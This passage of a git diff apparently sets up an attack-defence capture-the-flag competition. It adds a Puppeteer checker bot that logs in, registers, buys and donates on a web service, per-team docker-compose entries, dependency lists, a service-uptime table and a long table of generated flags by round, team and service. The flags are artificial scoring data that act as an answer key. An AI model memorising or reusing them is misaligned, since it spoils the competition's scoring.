page.waitForTimeout(5000) + + return { error: false }; +} + +async function login(page, username, password, private_key) { + await visit(page, base_url + "/login"); + + await page.type("#login_username", username); + await page.type("#login_password", password); + await page.type("#private_key", private_key); + + await Promise.all([ + page.click("#login_submit"), + page.waitForNavigation({ waitUntil: "networkidle2" }), + ]); + const page_data = await page.evaluate( + () => document.querySelector("*").outerHTML + ); + + return { + error: !page_data.includes(username), + }; +} + +async function register(page, username, password) { + await visit(page, base_url + "/register"); + + await page.type("#register_username", username); + await page.type("#register_password", password); + //await page.click('#open_private_modal'); + await page.evaluate(() => { + UI_create_key(); + }); + const private_key = await page.evaluate( + () => document.querySelector("#private_ui").innerHTML + ); + const close_button = await page.$("#modal_close"); + await close_button.evaluate((b) => b.click()); + const submit_button = await page.$("#register_submit"); + //throw puppeteer.TimeoutError; + // submit form, and wait + await Promise.all([ + submit_button.evaluate((b) => b.click()), + page.waitForNavigation({ waitUntil: "networkidle2" }), + ]); + + // A couple of checks... + const page_data = await page.evaluate( + () => document.querySelector("*").outerHTML + ); + + errors = !page_data.includes(username); + + return { + error: errors, + private_key: private_key, + }; +} + +async function buy(page, id) { + await visit(page, base_url + "/view/" + id); + + const buy_submit = await page.$("#buy_submit"); + await Promise.all([ + buy_submit.evaluate((b) => b.click()), + page.waitForNavigation({ waitUntil: "networkidle2" }), + ]); + + return { + error: false, + }; +} + +async function donate(page, id, to) { + await visit(page, base_url + "/view/" + id); + await page.evaluate((to) => { + document.querySelector("#to_addr").value = to; + }, to); + + await Promise.all([ + page.evaluate(() => { + donate(); + }), + page.waitForNavigation({ waitUntil: "networkidle2" }), + ]); + const page_data = await page.evaluate( + () => document.querySelector("*").outerHTML + ); + + return { + error: !page_data.includes("Succesfully donated!"), + }; +} + +const fs = require("fs").promises; +// note this will be async +lines = fs.readFile("user-agents.txt", "utf-8").then((content) => { + lines = content.split("\n"); +}); + +function getRandomUserAgent() { + // choose one of the lines... + var line = lines[Math.floor(Math.random() * lines.length)]; + + return line; +} diff --git a/checkers/headless/docker-compose.yml b/checkers/headless/docker-compose.yml new file mode 100644 index 0000000..746335f --- /dev/null +++ b/checkers/headless/docker-compose.yml @@ -0,0 +1,73 @@ +version: "2" +services: + #TODO: + # - Restart + # Limits + headless_team_0: + build: . + environment: + - TEAM_ID=0 + networks: + - default + - checkers + restart: unless-stopped + headless_team_1: + build: . + environment: + - TEAM_ID=1 + networks: + - default + - checkers + restart: unless-stopped + headless_team_2: + build: . + environment: + - TEAM_ID=2 + networks: + - default + - checkers + restart: unless-stopped + headless_team_3: + build: . + environment: + - TEAM_ID=3 + networks: + - default + - checkers + restart: unless-stopped + headless_team_4: + build: . + environment: + - TEAM_ID=4 + networks: + - default + - checkers + restart: unless-stopped + headless_team_5: + build: . + environment: + - TEAM_ID=5 + networks: + - default + - checkers + restart: unless-stopped + headless_team_6: + build: . + environment: + - TEAM_ID=6 + networks: + - default + - checkers + restart: unless-stopped + headless_team_7: + build: . + environment: + - TEAM_ID=7 + networks: + - default + - checkers + restart: unless-stopped + +networks: + checkers: + external: true diff --git a/checkers/headless/package.json b/checkers/headless/package.json new file mode 100644 index 0000000..c9992fa --- /dev/null +++ b/checkers/headless/package.json @@ -0,0 +1,7 @@ +{ + "dependencies": { + "express": "^4.18.1", + "puppeteer": "^14.2.1", + "socket.io": "^4.5.1" + } +} diff --git a/checkers/headless/user-agents.txt b/checkers/headless/user-agents.txt new file mode 100644 index 0000000..ff9b336 --- /dev/null +++ b/checkers/headless/user-agents.txt @@ -0,0 +1 @@ +python-requests/2.28.0 diff --git a/checkers/requirements.txt b/checkers/requirements.txt new file mode 100644 index 0000000..b468b00 --- /dev/null +++ b/checkers/requirements.txt @@ -0,0 +1,8 @@ +requests==2.27.1 +pwntools==4.8.0 +ed25519-blake2b==1.4 +python-socketio==5.6.0 +websocket-client==1.3.2 +gmpy2==2.1.2 +pycryptodome==3.14.1 +beautifulsoup4==4.6.0 diff --git a/data/checks.csv b/data/checks.csv new file mode 100644 index 0000000..1e4c1ea --- /dev/null +++ b/data/checks.csv @@ -0,0 +1,65 @@ +teamId,serviceId,successfulChecks,totalChecks +0,0,240,240 +0,1,240,240 +0,2,240,240 +0,3,240,240 +0,4,240,240 +0,5,240,240 +0,6,240,240 +0,7,240,240 +1,0,234,240 +1,1,238,240 +1,2,226,240 +1,3,226,240 +1,4,229,240 +1,5,214,240 +1,6,220,240 +1,7,239,240 +2,0,234,240 +2,1,232,240 +2,2,230,240 +2,3,236,240 +2,4,228,240 +2,5,237,240 +2,6,237,240 +2,7,220,240 +3,0,222,240 +3,1,222,240 +3,2,227,240 +3,3,225,240 +3,4,223,240 +3,5,198,240 +3,6,190,240 +3,7,205,240 +4,0,230,240 +4,1,227,240 +4,2,231,240 +4,3,229,240 +4,4,226,240 +4,5,237,240 +4,6,234,240 +4,7,221,240 +5,0,240,240 +5,1,240,240 +5,2,197,240 +5,3,231,240 +5,4,233,240 +5,5,231,240 +5,6,131,240 +5,7,230,240 +6,0,221,240 +6,1,225,240 +6,2,235,240 +6,3,232,240 +6,4,236,240 +6,5,231,240 +6,6,230,240 +6,7,224,240 +7,0,240,240 +7,1,237,240 +7,2,228,240 +7,3,229,240 +7,4,232,240 +7,5,234,240 +7,6,235,240 +7,7,219,240 \ No newline at end of file diff --git a/data/flag.csv b/data/flag.csv new file mode 100644 index 0000000..480dae1 --- /dev/null +++ b/data/flag.csv @@ -0,0 +1,14546 @@ +id,flag,round,team_id,service_id +1,M4GM4A6PIQTJKXKNYMN3TGJA50TFNMM=,1,0,0 +2,YCW3DY8TRGNE7HXONOQB3WKG7WXEGG5=,1,0,1 +3,LB7DS9VNSCPUCVLLXLUN00S5622J0L3=,1,0,2 +4,68OQG581MHZEIGG6V11KP5LKS4XHM9I=,1,0,3 +5,GI4BPVIH39XUDPBB6TONZ3XH4DIQU05=,1,0,4 +1217,TFSO95IPDXPTUI0XYEF4I0TKYW411JC=,20,0,0 +7,8RNM8447GY1VSQNCKL54I5VEK4PTL1V=,1,0,6 +8,708WLPLF1H5W4VII0K1SFSRJ9CDND28=,1,0,7 +9,W983DU1COTI9D2QOX25CL7IC4UGHC24=,1,1,0 +10,QLEICJ1JHSYAONWBGN93BAK0XD9IBS3=,1,1,1 +11,7JEH23VZO5FH5CKLUM2C6BSSX40SQQ0=,1,1,2 +12,HMIK4HS9RLPE5RGJUWZX0LSJV04Z9EI=,1,1,3 +13,PLJPTHDT1MRKEWR4EUQU07I9HFVY2YK=,1,1,4 +14,DJPVE2HVCFA4JIPU7VVYN8KZLC4QL0L=,1,1,5 +15,2ZX5ZSO0065OWGQBEEHJCQED4PSHGRE=,1,1,6 +16,AJTUQC2KW4T05DXVYBGDQ6OD2WEJLUK=,1,1,7 +17,77WZFCYTONIYEQKLAEDW8HW7TI0RPME=,1,2,0 +18,6NAQ0BDMA6YRQN94EGSCHDJBIOU3232=,1,2,1 +19,XRGR2PIP0YGRMT71L4B1UZOG33QGHM9=,1,2,2 +20,NWFD7ZS36CJUEMKEH7C8TVQEXVXM9KK=,1,2,3 +21,TJOMB2D2G4B1CVPX1KYNLCNTP1YHQNA=,1,2,4 +22,RHWUTGYPO6LL3GRPFNTNMDJFZ80KFLB=,1,2,5 +23,WI4981QAE0O3B2DJRTM4R6GGJE86SXG=,1,2,6 +1218,OTG3S6MPOTPEPBLC3XMO621UEL581JS=,20,0,1 +25,ZCWF0TN1CBMETUXXUH44Z0AJUOU2T0F=,1,3,0 +26,WC4Z03Q2VJ7QR4CYUDHLU0TJRSRC4A4=,1,3,1 +1219,2X74FI79KXX4UJEVN7CR61L7A4KKS8N=,20,0,2 +1220,TOH6ECB6DACBBNRUEAMUTEOKNZX1HBE=,20,0,3 +29,YB42PCM5CAW1XFXDMCO90VY60BWUSOQ=,1,3,4 +1221,DY9SIGMFUBLJZYNCUPHDM53PABLZ34K=,20,0,4 +1222,A65T0OIO8K6WCCO2B0XJY9YQHSE9CL9=,20,0,5 +32,H6KOH1X6QHLZFMVXT7SUXCJC82KC2R4=,1,3,7 +33,L65GLOSSQ1L56PAZ5N8CDCZZNV4AOXL=,1,4,0 +34,Q84B8D0XL8HROU722CQHXFMVN9ASPIT=,1,4,1 +1223,R13YN4ODTCY3SYQQMQDCFXI1QJ34ZG6=,20,0,6 +1224,UK9I6K2NWVO7AE3ABD0F9K97AMZARBM=,20,0,7 +1225,K5WY7PRS352CFFNZBK8XW1WNYW6X1UC=,20,1,0 +38,TYJVWHU8ACTZ14H9VN5SFQVD3DEOW8Q=,1,4,5 +39,5QJR2TUKG5XBINJF0ZK8AWN38T4NW27=,1,4,6 +40,OFW870AMJJRTJGVO51SQR2A7XRS3JQ6=,1,4,7 +41,TYLFYQ5GP9NRLF8S1R0H19C272O8Z6D=,1,5,0 +42,4AH3JFSZ6CFPVFKGJ42KJX5XW4SW4Q6=,1,5,1 +43,RQO3V7IJSTZMACYQYWSO9O8D4UABNQO=,1,5,2 +44,JBO8W8VTA92J4BK70IP7QYP96ZO5CYQ=,1,5,3 +45,MEWS62OZUKYPSOP6W08I1LCPFSLQVIE=,1,5,4 +46,1XVRSXKNFR1DKTN3WH5HMMG3L3EKYC4=,1,5,5 +47,G8MT5VTTJWG53GK12RSIVVVE712W3GS=,1,5,6 +48,E6QK3JMLDO3RHCOQCWEF7MQWPQ3YP63=,1,5,7 +1226,HBGLJF271V9Y6I5ZHVV13BGI94GPM1Q=,20,1,1 +1227,1NC7A0E70YCXMSSZSK6N2DX1NUZAWLY=,20,1,2 +51,V1SIL6FB0YG7WBTLZ6IH34AWN22EE4D=,1,6,2 +52,C6BAIZ5PZ3DB589I1LN9SHXXOUFEVUJ=,1,6,3 +53,ZRPFSWLBLHZ7W37N12SL374LGKNOKT7=,1,6,4 +54,HN02Z0UN0VS2X1M0R05BJ0VGK8HR7I2=,1,6,5 +55,X5SCHUMHSGOSJ7WJOCBDBKNGPAPX5XH=,1,6,6 +56,PRFB0HTVHF5HY2WFBVM3GL9I7ZXPYPM=,1,6,7 +57,9SQVG9MLNO87A2NJFR57LI77PW5CD7L=,1,7,0 +58,C2OR07CPWAWDSUDYQOYZCZ81OTUOUF9=,1,7,1 +59,1YGYPWYR2CYY5UOV7OF5MRK7JG3ZU3M=,1,7,2 +60,A3INHAMD4Q156CJJJV0W8VD4IZRXM8X=,1,7,3 +61,9BCQAP2Q98MPYALI7UZC1AKALAZM1ZU=,1,7,4 +62,HNC8B9IGXG5X26WJOS1DAB04CWPB1XK=,1,7,5 +63,VHIJA60DMG4G2R2873H01LYRWO8UE0T=,1,7,6 +64,K91ZFEPABC20GFW2GAHQ4PG1TZX3SHE=,1,7,7 +65,INUGLSEUOFVF6DEQICS8226CLZ3G90I=,2,0,0 +66,2BOL3DTZU9GTZN4UX9GXAYJLKTF0G2O=,2,0,1 +67,VWTPQJG91OB6MK208TKBJ59CEOC9M4V=,2,0,2 +68,I0CTB50CQX4PEQEFGYDF5IMT4I63HQH=,2,0,3 +69,4JUCB52Y5ZPI7SOAXP179UFD53EOJDN=,2,0,4 +1228,2IB17Y3JJ5DKR49ZXMYAH0WWJFCR671=,20,1,3 +71,6WT6C2EQOQVS3VIHR7LY65HY93NKAJO=,2,0,6 +72,UKXLRHE0G68V1HQ2Q47IL8NHHZRR5W2=,2,0,7 +73,9UF94DQ92LNFPVFLZDO853RHYZD1SFL=,2,1,0 +74,IC9H09CCSLGGQ1JIOCB9B6AE6B64Q3J=,2,1,1 +75,C57WLK4C5V4W19GPZZLBICBZV0YF0CP=,2,1,2 +76,LP9UCVWDZKA9OCCWRH0UX2VW6V9TX5N=,2,1,3 +77,UADRNR30EJOQ5VJT81Z9JNT0TGGBE7L=,2,1,4 +78,72J7FHRRSN16NMNUU1VNM7ZN87E8F4D=,2,1,5 +79,NNA7TR06C5FW8LIKWXQGSDIRXPC8YQ4=,2,1,6 +80,UMBR3CGE78N7YUDSA1WJYYJG4GKV1BS=,2,1,7 +81,RK23JRF22R9R4W18ULHZXC8HU3NOGRB=,2,2,0 +82,P7RDWD0FCOHNPWAAFGVCX1IX198H6JV=,2,2,1 +83,F0MNDDFCCRUT13SNO4W7MIVLW98RTJ0=,2,2,2 +84,GIZ5C4ILB4KQM0K2UW5DVHT4C5KNPB4=,2,2,3 +86,6NRNN5H8F2W16C429MLADSTFI16RBKJ=,2,2,5 +87,EFW8UNL1ZAMTM4F13QFRGY2FU2WCEVM=,2,2,6 +88,I6UNE2LI121K9EGGDR4KS8W04O2VAAZ=,2,2,7 +93,BF2GAEUSIY1LOIMANWT5FD5VZ8O78S0=,2,3,4 +96,Z7HM47Z106JVCLUB9RIWTHGC75N77L6=,2,3,7 +97,I10JIWF619XJTJJJFCFVUK2OZ7YLPY8=,2,4,0 +98,VVXUTUJ3LYQB8OUAVJJRFABNKXTNXEC=,2,4,1 +103,XQGIZU6NZOQ4N3X1B3JS2VZYFK5OEN4=,2,4,6 +104,XWIW4YXC4ZRUTRAA3Z486TRZVBCVILL=,2,4,7 +105,IWFXWQXPU0JFRU622MAJHWI07LVVWIE=,2,5,0 +106,RHO072CVFXBPC8NCUE7RMT29FNADW4C=,2,5,1 +107,4S5BDTDOO4KT11JMEP8LWM3AJQC9LOL=,2,5,2 +108,K0D5XHCWFJB8F8KUL3D7Q9BU0CA5390=,2,5,3 +109,WLDR4Z7OQLCTBZFU6Z9Z0988VGIVJAV=,2,5,4 +1229,9FLHYBDOQDW6E9GKQC6I0A4QR7T3KHN=,20,1,4 +1230,FOFZYDVJ3O5F7KJPZI7476GU7E8EGKI=,20,1,5 +112,E7S5ZMBZQSM4PTOY5UPFVZRPBPITEPL=,2,5,7 +1231,UL8A0US8G9KHAPW3RZ4BT8V5BIV5SUE=,20,1,6 +1232,0N14XI585Z2W9TTEP9DRSTQC53DIDC4=,20,1,7 +115,KGW4IPKOK48ZBLCQFFUQ0B3X60FJADJ=,2,6,2 +116,GJDNLBWZ1B4SL769ST0IQD8DD7ALPIO=,2,6,3 +117,R1437LN8D9JE9WGGX9M91BP9SMBEWKH=,2,6,4 +118,6YMMQX2IEG3CTN4202DQIYTHUVFTQM1=,2,6,5 +119,B0H1DVUF3A7B4QRGQH5TFMU4IQN0T0A=,2,6,6 +120,39YG78QGOYC4APQQ0OUZ890IDWOEXKG=,2,6,7 +121,FMTXRROFMLZ5B5QMCA86I8QWLMUMLTO=,2,7,0 +122,ZG2SLGGFNKKY3TKKP2V8N9DD09YQNXX=,2,7,1 +123,VIYYQARI7KL43ZV3LCYHKHM3QW344VK=,2,7,2 +124,XLPIS7K2L7ET10GAJPBG8PVFFPZNFA0=,2,7,3 +125,GNV7PMX62XNJWB1MMJSEK21WX2KC8ZI=,2,7,4 +1233,2S9PY5WOMTGENB2A4JUYVMLZ3RF5RJ9=,20,2,0 +127,JMU36PKL1C5O8YSJJNLYT1WSPF4OE99=,2,7,6 +128,KCVGTLV6N7I5N6SFSB87TX6HYJRKGCN=,2,7,7 +129,CQDQESO8BBAUH5Z8J2Y6NEI080JYY1Z=,3,0,0 +130,KBXI7R4OU0A0C8JFXUJ7GVTJA0DVT5H=,3,0,1 +131,R9WL29Y4C8EPWL7T1EA0L85RU6DH4JR=,3,0,2 +132,7PG6XGHG8MFQ2IJR7R2VU968IHFDZWU=,3,0,3 +133,DB3HCSSNCH64UL64FFGZ464WZ5KF2CP=,3,0,4 +1234,46YER0V9U8A98Z9DPRPO917OSDLA2XQ=,20,2,1 +1235,X8E0ZUZO06ZEJK19E61OJ98KUMIWM4X=,20,2,2 +136,J9FPIVXEVIJ7C8N3BY9PLTAOUZN5BX3=,3,0,7 +137,DDDU4956E207IXXFBL8W7JJZSABLXMM=,3,1,0 +138,G01WRSXTDBO2FLY71EG7DXXT17DT776=,3,1,1 +139,5YLE4OTHP8M04F58LDPK439XJ7COLGV=,3,1,2 +140,DDYA1X78046RE7H04IEPY1GJJ5T63GF=,3,1,3 +1236,5AYSZZY0MIQ993YMUJ55GCO3ITAM36P=,20,2,3 +144,N2MAJUMH257OLVMNC2KWP9MDPZQ2HM8=,3,1,7 +145,2GU41507B1RXN9L00NGUBBEYT23DF65=,3,2,0 +146,JF90P7O3MKPRCZYB7LRNDC9ZCRUIKBO=,3,2,1 +147,BOGHS6Y44RAYYPJ1XQEDLS5DIMRDCM9=,3,2,2 +148,VVNJEWVKNW1UEQAK119JVHUTXAVP31F=,3,2,3 +152,RTW4EYQKFWLZ5MFMMWA36NR1B43GPF8=,3,2,7 +157,OYCA70F4N9D9QUDF6CN7KM0K38AD35V=,3,3,4 +160,3YM4LCVMNFPK75X7VMDZNGKDVY3VBOI=,3,3,7 +161,Q3YB0L03Z6XJBEZ5ILCMDJ1GY534SU1=,3,4,0 +162,UMH4DN37OSUSPI38H8GCL00OJTUV1XW=,3,4,1 +166,2UE496IXT01TD829Y0R1XW5XMN11UDG=,3,4,5 +168,ATI1DB0XHFE8N67YM8KTNWAK1X8MV7T=,3,4,7 +169,FFCNK5X9GPU8FV71XHQ6UOVKSO96POD=,3,5,0 +170,W4RKGGE7E0Y42DMG4JWJNGLMAKISHXS=,3,5,1 +171,GK19SGS7Y0PKYTQASCLJZS7CSL6W1B4=,3,5,2 +172,NR8U8FD044M91NTT6FV2UGOYNA743HL=,3,5,3 +173,1CFPZ566LR6MAS4DQFX0I1MFE5SEZ7Y=,3,5,4 +176,SWMHKYRKYSMVTF3ORUOEKBFYPGO472I=,3,5,7 +179,FGK16Z1IB4SXFJ0S9CSC1LHDB3QYMZG=,3,6,2 +180,DOEW6BFC29U6VRHVRTRG1CGF1A7V7N3=,3,6,3 +181,AE5C2XGX6AOZCI1Z78Q8B5PF3EH8GAF=,3,6,4 +182,GGLKTMYUY4ZH26X6M3JP1S96ND4CC00=,3,6,5 +183,ZRH1U177K8H8XTM9D710C2N9SN6L5LB=,3,6,6 +184,N6YWCOSTFC0ZLTF99ILPEWUV9AFO2YW=,3,6,7 +185,XRLJ1W7TQW7DQ7VJNZWC8WOO18SJW5Y=,3,7,0 +186,5X7OC69SAMT92ZSITIJR7F2UR5JA6VD=,3,7,1 +187,ASQC5GMJYZD081A0M25YJFSTQ28YNV7=,3,7,2 +188,9ACAGZB676HYSISAVVMN8UN66UKHWB2=,3,7,3 +189,743T9JNB2QV9OMGFFLJEHOQVJSTQMM7=,3,7,4 +192,X4YKF3MCT7TUQ7ZCVXT6PZZC53IUDZF=,3,7,7 +193,OTSPOKPSP7453SAKWJAK3G6N09ELQK4=,4,0,0 +194,83T599JTTY8HK20RUJSTD4EKUV0WDDS=,4,0,1 +195,T3ZFUD4FGMXCGFJRRMJ98944HZWMKEX=,4,0,2 +196,ZBUK9W9OP4RRODAA2ZG0Y1W0UH1DVQB=,4,0,3 +197,3JFZHYH26NIY5XPLAW9VJ18QSRQAR4X=,4,0,4 +198,PG6O3MPS2ORC2SBS3OQZW9R57T42E37=,4,0,5 +199,VSE7THEFDU5CL6DXWPZTUZHAF0JYYUY=,4,0,6 +200,7M3L1GKBO8BD2FS243IMJ7OYFZ3F8FL=,4,0,7 +201,4ULPV7G4UYLD8XNB85MWW8GUZFAO5AW=,4,1,0 +202,N6O40TS5IKS2X8NZUU9V6JIOSVWS2DH=,4,1,1 +203,3D9OUQL9YN3PBFFT7XP4HAC3KULA98F=,4,1,2 +204,NA430DGZ81TPADY2GZ40NV875LVVK4B=,4,1,3 +205,6T9G9MS6D2OCUWSMTI2FD32M9V5ZZSB=,4,1,4 +208,V5JPBKJ3MPDSKJVUBNB1KKR3YENJ018=,4,1,7 +209,WCRDATQPFPLPEKUXNSJPTFJMI56A85W=,4,2,0 +210,VRPX1TV319GA80XGMCZS3RY7ELFTMAX=,4,2,1 +211,GYHU53HLAFDUS4JRHZ2DMB43KE170FH=,4,2,2 +212,72N36IIK200MVUUFKGXF6TJ8F7EA6K8=,4,2,3 +213,RK1MUW3B46KD4U8BW0XR4N6KFG32R8W=,4,2,4 +216,RFBVD0ZEUJJ1R4FZLQ4QDCZG2RS518X=,4,2,7 +219,OEJV971D3Q8IEZB1KW9HMLDHIX0JDA3=,4,3,2 +220,J5VULZ5QVFBNT4UQRSUVDZOS5YYGMQW=,4,3,3 +221,5PHZ2RNYG2GFJASAJ3XVRAJZM30PUON=,4,3,4 +224,N8RGHF1ULOYG7HA4BKAFXV8EXRTE3TZ=,4,3,7 +225,5WTS21U67ARPNU26Y5ERWDDL8IZ4PCA=,4,4,0 +226,QIUD54QJ07RL2HTJF6H2D167DNTZGVS=,4,4,1 +227,EZPKNJ6I6CDGW4AMBK88ANHOL1I7VJC=,4,4,2 +228,QJS49NE1XIC2Z1EMNDYY2VGE7DS9XW1=,4,4,3 +229,RME5L2F4KHM1EWB287GOBPFADTUR0MF=,4,4,4 +230,RAKUEBL12MPK2RVGJPUAI6EKMWJP0I0=,4,4,5 +231,86H8RFLAVGA7U6U47I89OJQ1WN07KXC=,4,4,6 +232,1C107RSXQVWHGYW70TR8ZOM6KGLPIKF=,4,4,7 +233,D1HWBC14PRZYFOIDDU9RLVVKTQG37TL=,4,5,0 +234,JPBJE5WZ731ZKJ4HD0HH2KDH8EEA7X3=,4,5,1 +235,CXM122VFOKP9E6689L93UN6HKQENTTR=,4,5,2 +236,ICUQ6VLIBQ7XH1DPXB6GYELN4DOLI3J=,4,5,3 +237,O1029GT72KTERWJ4L7AKFC38J6O5U2Q=,4,5,4 +238,U00I0PLR0J5BJ3DYLYVZSX65ZHPF67O=,4,5,5 +239,8IDXRW1CGANRT7QQT7O64X1U12E4SE7=,4,5,6 +240,327QB9NTK5QAX0SCKNXIYM84LAJMJTJ=,4,5,7 +241,GOUCSW5EW4Q7W322WLLU0KH61H25XKS=,4,6,0 +242,Q3DAIBSVV2OFCGJ17527BPDP58E4MCZ=,4,6,1 +243,0XUSETYXFJDOR2MWIO6FOYW39DH0L3O=,4,6,2 +244,PYPTX1DXDOODRARLOMK815GQB97Q8EW=,4,6,3 +245,2I23FOB6IK38D7M52ZPBF18O4M9GEAQ=,4,6,4 +246,MSSC9ERLBQZKU2NDLVAFJEQ10QIWKMA=,4,6,5 +247,9HPZYN0NOZIWI0YFOQRXGUVS984P31O=,4,6,6 +248,QSNNG32K94JPZ9DV18DT1QZ5WX93V5V=,4,6,7 +249,CEBT4PLTF5F1SLXIK1RQN36UMKJXUD8=,4,7,0 +250,S6EJ384AJ3T5JA40E435N1RPRSPRKOX=,4,7,1 +251,XZSL1T5X313A1JMDGEC9MPUNHBBACU2=,4,7,2 +252,Q0G5DCNA5NHYDCGRYI9TPCKUR92ADG0=,4,7,3 +253,B26D107RKYGZPU9M5CJEZCTCB2OC5Z9=,4,7,4 +254,E0UDV6KA4K2HD3Z0GOUSOVQNDVDS61Y=,4,7,5 +255,4M6EY0XP61G1X8V5SESYAURHAJBXUZA=,4,7,6 +256,O47WUDE858BBX5SOR9F1KS4AO54PR3V=,4,7,7 +257,84FDM3IZ4RV27U4VKII1BPUOU1K9VSU=,5,0,0 +258,N014WYQIMG1QCOPG9OGTP4KJYAMCXNH=,5,0,1 +259,ZVSIPD8DXD9XJFZKVFKL79MXYXY0OG3=,5,0,2 +260,7OEBVRJ2KGSUZI7KXXNI65S333M643K=,5,0,3 +261,FM0QP7F7QC9KNM6H876SVODFQ9UR5HP=,5,0,4 +262,NH1T53ZY4T5NWNNHMFXM9GLVUMTLDHI=,5,0,5 +263,JIR5B16NNHQ0OY2W7ZPAQAGN5ICXZY2=,5,0,6 +264,WOD303JMKD2RGTRSSPT2IOKDHJDH1D8=,5,0,7 +265,176D6D6LQ9WZ35ETV3IGAUPA9K4JO95=,5,1,0 +266,BW1MW3XJP97JJ16OO538NDWYHMY55BD=,5,1,1 +267,0RN5ED1WLBECL93ZYDIPNVWCYWDLRMG=,5,1,2 +268,YTCACNRZ2RQTSPAZGCIVD1ZV5SWACO3=,5,1,3 +269,B4AGFRO2B05SM0892VBUCRKVN7I065D=,5,1,4 +270,9NFODXSXPY35EHE49FWNG843JOJQTFB=,5,1,5 +271,DFKXGXQZX1CPDTIX6NX3ZGPGXJLZHG9=,5,1,6 +272,86QVOM2YX5K3MMKF9TM94RZNLRO6BM7=,5,1,7 +273,DG9PMFVZFRWE62Y8XEB5KOIWLYK95TR=,5,2,0 +274,1LE0GHJ2RNBZPBUULWMXYZRZFSAAHRT=,5,2,1 +275,RIFYG8J1ZLE98UK3T66B0WQLCZHS9JI=,5,2,2 +276,8OE180BRN9SA69SMWF1BPTU0CY8LP4R=,5,2,3 +277,XIT2G86VY8Z6GH6XLUSFAJBB6RJ2OH8=,5,2,4 +278,T8OJTBYUZ5ATPQ37RO624C7P5L0IXOV=,5,2,5 +279,RJ6W6Z8BLHX3UZ9D47ZTPWJ5ZZXWNBH=,5,2,6 +280,AHW20PT2F3XGH9I9UU67XE0QDYCWH1Q=,5,2,7 +281,FI6L90L91GC4SQPVPE5X99X7C37YSMA=,5,3,0 +1237,43E440O5M4EU1ONRV00B4JQH6WCAW99=,20,2,4 +283,AIFHQJV2V7NAM3LTM7DSC5IHILQ9Z3M=,5,3,2 +284,CNNDO4AEJP6JL0X6TC96AD2UNPK5TMU=,5,3,3 +285,F09P8BF54Y6YS7Q3XD7AC80QBUSMY85=,5,3,4 +288,QL61I48O7TKIE3F1ITO9GTGSTWGR0RW=,5,3,7 +289,6US5VG7E29L1N5UDH1UAYNJCPOEFDSO=,5,4,0 +290,OZAEKTS3PN06MFO8PMQMZ2066ZDSF0D=,5,4,1 +291,9D7MZTEOP3598W3ZV579B2M60HVZUPG=,5,4,2 +292,EDTC3OANL7TSZZ9N24798L4DCWIEK8I=,5,4,3 +293,9Y7FSQZBZDXN8NXRAEHNZFM33CNHEVT=,5,4,4 +296,JLEJZMJKLKIISF44RABXJ6F9JESKT7N=,5,4,7 +297,IF02110FKS2X3BB0N7Q63545LFRCLVG=,5,5,0 +298,A5G3KR94DHIUISXSVTKPD3LT737FURX=,5,5,1 +299,RKAFF0JRDW55IF5S6KR3MHVSA943663=,5,5,2 +300,PWSM55U6CIXIXVI0K8LETR6BODBU2N4=,5,5,3 +301,3EU48HZZYTOQXMQ8SYZDUZXMQ9SWYLZ=,5,5,4 +302,YRL21ZMT63RT69UNCT71OHMZOJ2X8HJ=,5,5,5 +303,0O0J129M3IY0MY3VB6EKUZ63E6J1Q1V=,5,5,6 +304,0OEFYMQMFAWMKYLFJMYCA8GJUW72MO1=,5,5,7 +305,D1FWXYYG9VHXYK3UU8RON3ZJ7ZNEX8G=,5,6,0 +306,7L93OMGBLIG973CDMLFYWG61CUAOD7W=,5,6,1 +307,YN4VSK4ESIU69WF0J7VK76YC5MJSIKG=,5,6,2 +308,0NGYBLLLXGILNSZNWO5QQ1VIMM9BWPF=,5,6,3 +309,SNWB7NH6ZZ5ZWA0F8OD7OMXH9X7QSGS=,5,6,4 +310,0EMVWGSENNVAFWBNSHMAUPTKMOAQCZE=,5,6,5 +311,MURQC9U3PIYIWL547YNPGK7ZVPZY5F7=,5,6,6 +312,VJDUE3LQVRWK8ERL2UVPJXO8D4C8ENS=,5,6,7 +313,KSWQAMBHSK1AMV3HEM6ZVCRJPEIQ3CX=,5,7,0 +314,N024CNR0S9V3CM1V6ROCTX80P5NG894=,5,7,1 +315,H6W669BBWHLUWVDWYI6L06MP5WFY55B=,5,7,2 +316,GVNFY8V7SXJ75DMGRKFV8X8TXPOJ27H=,5,7,3 +317,NS54IKRJQE985KL64M946UA5S8K64RE=,5,7,4 +318,RU9RQEX7SNHW3V4UNXTQPRQA9JLYQHZ=,5,7,5 +319,SVQZUIQ48PMNZLKTVCE4K8VCP6Q06JY=,5,7,6 +320,23KB2BK2RY6V5VIRTO9V25IM95XQ5CF=,5,7,7 +321,C21OBYB7MWJCMB39XCEPS7ZAS6A81C7=,6,0,0 +322,F68LJO6V99CKGMRIUYQ1B8309CR9AIA=,6,0,1 +323,2KHQ33SE3ZL1IURMNRXRTM4RR9KTV4Y=,6,0,2 +324,D4V5FYU38KOYDNZ6B8TUUDS5OWKX92P=,6,0,3 +325,CJDGBSH8WP3KP3BL1YBEHBPND76CZ2D=,6,0,4 +328,H4IITU5GCHBL3E81DO905HUPIHQ98TT=,6,0,7 +329,YPVFQU3JFMNH8BOX9LL1Y5TGG0XPMSS=,6,1,0 +330,7N8X3KW2TRFOAR3JXQUXB20M42TPNHB=,6,1,1 +331,KF74G0MRJSKYOJJ4F5YJ0YNM87NCBME=,6,1,2 +332,59OE4Q00VPWNK5TLJQELJXT91D0RM7R=,6,1,3 +333,6FTH7IER3IYNG96QB0R0QYT3F97OTMX=,6,1,4 +1238,A7KUICE317RASRJFWCVQMT12SGNDG1Z=,20,2,5 +1239,0PFFEYNQLAPF7KU5FXQB4YCTCPXQH3Y=,20,2,6 +336,NE3U4EXQAGJRQAGRD81P165GAREEX81=,6,1,7 +337,15LNXIV6T2YS7VV21X31YG6IOGPGTA9=,6,2,0 +338,F8US2L82P0AFYT0S6A3W7F63ITANBYV=,6,2,1 +339,ZNJE9UHKMIF6QCWGSYYX9C9849AL2EE=,6,2,2 +340,7WZVE3CEVXMRHOLWQ0Z36HPYI382ZW0=,6,2,3 +341,HYJCEGUVQHQHS7DP2DXEOOWE869B28H=,6,2,4 +1240,EUML322YYAGIVHCCX5KIHJ3LOQOOUG5=,20,2,7 +1241,ZMXMLPN1WNB85X6U8A6PKQDTLOMSSCY=,20,3,0 +344,2VBAXNQ5RHC185IM49NQ6GM5FH9QD7I=,6,2,7 +345,0IEKGP2NF0JMP3OUDU33S3DY01074YY=,6,3,0 +1242,ATCORU4NJ6YACHLATOI5DB0KNGW5ZMY=,20,3,1 +347,I06FT578UW23O59C2VZIWU53X6JWLGK=,6,3,2 